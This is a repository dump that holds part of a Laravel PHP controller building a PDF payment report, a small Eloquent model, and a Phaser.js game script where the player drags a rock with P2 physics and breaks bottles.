$pdf::cell(30,8,utf8_decode("N° de Credito"),1,"","L",true);
$pdf::cell(35,8,utf8_decode("Fecha de Pago"),1,"","L",true);
$pdf::cell(30,8,utf8_decode("Cuota"),1,"","L",true);
$pdf::cell(25,8,utf8_decode("Saldo"),1,"","L",true);
//Mostramos los detalles
$y=89;
foreach($detalles as $det){
$pdf::SetXY(10,$y);
$pdf::MultiCell(120,0,utf8_decode($det->id));
$pdf::SetXY(35,$y);
$pdf::MultiCell(25,0,$det->nombre);
$pdf::SetXY(85,$y);
$pdf::MultiCell(25,0,$det->idventa);
$pdf::SetXY(115,$y);
$pdf::MultiCell(25,0,substr($det->created_at,0,10));
$pdf::SetXY(150,$y);
$pdf::MultiCell(25,0,$det->cuota);
$pdf::SetXY(180,$y);
$pdf::MultiCell(25,0,$det->saldo);
$y=$y+7;
}
$pdf::Output();
exit;
}
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index()
{
//
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
//
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
//
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
//
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit($id)
{
//
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
//
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
//
}
}
<file_sep><?php
namespace zitaraventas;
use Illuminate\Database\Eloquent\Model;
class Salida extends Model
{
protected $fillable = ['monto','destino','descripcion','estado'];
}
|
67d81cb2cc303a9c3f6b8833f78273da1affec03
|
[
"SQL",
"Blade",
"PHP"
] | 18 |
SQL
|
DavLazarte/PuntodeVenta
|
ac489624fbb502c82ede0845c747d54ea48651b0
|
c754f4e186f918882a071b2b6ea61175e201a5d6
|
refs/heads/master
|
<file_sep>/* jshint browser:true */
// create BasicGame Class
BasicGame = {
};
// create Game function in BasicGame
BasicGame.Game = function (game) {
};
// set Game function prototype
BasicGame.Game.prototype = {
init: function () {
this.input.maxPointers = 1;
this.stage.disableVisibilityChange = true;
this.stage.backgroundColor = '#fff';
this.scale.scaleMode = Phaser.ScaleManager.SHOW_ALL;
this.scale.pageAlignHorizontally = true;
this.scale.pageAlignVertically = true;
// Force the orientation in landscape or portrait.
// * Set first to true to force landscape.
// * Set second to true to force portrait.
this.scale.forceOrientation(false, true);
this.physics.startSystem(Phaser.Physics.P2JS);
this.physics.p2.restitution = 0.2; //this gives bounce
this.physics.p2.gravity.y = 500;
//draw the board
var graphics = this.add.graphics(0, 0);
graphics.beginFill(0xc0c0c0,0);
graphics.lineStyle(2, 0xc0c0c0, 0.5);
this.boundaryLine = this.world.height/2;
graphics.moveTo(0, this.boundaryLine);
graphics.lineTo(this.world.width, this.boundaryLine);
//new
// collision groups http://phaser.io/examples/v2/p2-physics/collision-groups
this.physics.p2.setImpactEvents(true);
// Create our collision groups. One for the rocks, one for the bottles
this.rockCollisionGroup = this.physics.p2.createCollisionGroup();
//this.bottleCollisionGroup = this.physics.p2.createCollisionGroup();
this.physics.p2.updateBoundsCollisionGroup();
},
preload: function () {
this.load.image('rock', 'asset/a_0.png');
//rock2 code
this.load.image('bottle', 'asset/bottle1.png');
this.load.spritesheet('bottleSht', 'asset/bottleSheet.png', 20, 55, 6);
this.load.audio('breakBottle', ['asset/bottleBreak2.wav']);
this.load.audio('rockHit', ['asset/rockHit.wav']);
},
create: function () {
// Add logo to the center of the stage
this.rock = this.add.sprite(this.world.centerX, this.world.centerY, 'rock');
this.rock.anchor.setTo(0.5, 0.5);
this.rock.scale.setTo(0.06,0.06);
// turn false the collision circle in production
this.physics.p2.enable(this.rock, false); //change to true to see hitcircle
this.rock.body.setRectangle(25,20);
this.rock.body.collideWorldBounds = true;
this.rock.body.velocity.x = 20;
this.rock.body.velocity.y = 150;
this.rock.body.angularDamping = 0.5;
//new set collision group and tell what to collide with
this.rock.body.setCollisionGroup(this.rockCollisionGroup);
//this.rock.body.collides(this.bottleCollisionGroup,this.bottleHit2,this);
this.bottleBreak = this.add.audio('breakBottle');
this.rockHitSnd = this.add.audio('rockHit');
//add start marker to rock hit sound
this.rockHitSnd.addMarker('rockSrt',0.15,0.5);
this.rock.grabbed = false;
this.rock.body.onBeginContact.add(this.rockHit, this);
//***rock2 code *************
//input event liseteners
this.input.onDown.add(this.rockGrab, this);
this.input.onUp.add(this.rockDrop, this);
this.input.addMoveCallback(this.rockMove, this);
},
update: function(){
},
// utility functions for the rock grab *****************
rockGrab: function (pointer) {
console.log(pointer.x);
if(pointer.y > this.boundaryLine && this.rock.y > this.boundaryLine){
this.rock.body.angularVelocity = 0;
this.rock.grabbed = true;
//create a sprite at the pointer
pointer.handle = this.add.sprite(pointer.x, pointer.y);
this.physics.p2.enable(pointer.handle, false);
pointer.handle.body.setRectangle(5);
pointer.handle.anchor.setTo(0.5, 0.5);
pointer.handle.body.static = true;
pointer.handle.body.collideWorldBounds = true;
//create a constraint with the rock and the pointer
pointer.rockConstraint = this.physics.p2.createLockConstraint(this.rock, pointer.handle );
}
},
rockMove: function(pointer, x, y, isDown) {
//at this point the constraint may is attached
if(pointer.rockConstraint){
pointer.handle.body.x = x;
pointer.handle.body.y = y;
}
},
rockDrop: function(pointer){
if(pointer.rockConstraint){
this.physics.p2.removeConstraint(pointer.rockConstraint);
pointer.handle.destroy();
pointer.rockConstraint = null;
this.rock.grabbed = false;
}
},
rockHit: function(){
if(!this.rock.grabbed){
this.rockHitSnd.play('rockSrt');
}
},
//*************************************
// Rock2 Bottle utility methods
bottleHit2: function(rock, bottle){
//console.log(rock.velocity.y);
if(rock.velocity.y < -800){
this.bottleBreak.play();
//last true kills the sprite
bottle.sprite.animations.play('splode',30,false,true);
//bottle.sprite.kill();
this.time.events.add(Phaser.Timer.SECOND * 2, this.spawnBottle, this);
}
},
spawnBottle: function(){
// grab a dead bottle from the group
var bottle = this.bottles.getFirstDead();
if(bottle != null){
bottle.animations.stop('splode',true);
bottle.body.x = -10;
bottle.body.velocity.x = this.rnd.integerInRange(50,150);
bottle.body.angularVelocity = this.rnd.integerInRange(-5,5);
var scaleFactor = this.rnd.realInRange(.6,1);
bottle.scale.setTo(scaleFactor,scaleFactor);
bottle.body.setRectangle(scaleFactor*15,scaleFactor*40);
bottle.body.setCollisionGroup(this.bottleCollisionGroup);
bottle.body.collides(this.rockCollisionGroup);
bottle.body.static = true;
bottle.revive();
}
},
//*****************************************
};
|
cdb1e624e44aef3977061317256c3ac871ceb214
|
[
"JavaScript"
] | 1 |
JavaScript
|
johnRedden/RocksVer2
|
cf537885ab1b5f6e4338ab1dcbe15d698ac1eeed
|
02c4ccdb9e1b83b262a1d3f68848511c3900c822
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.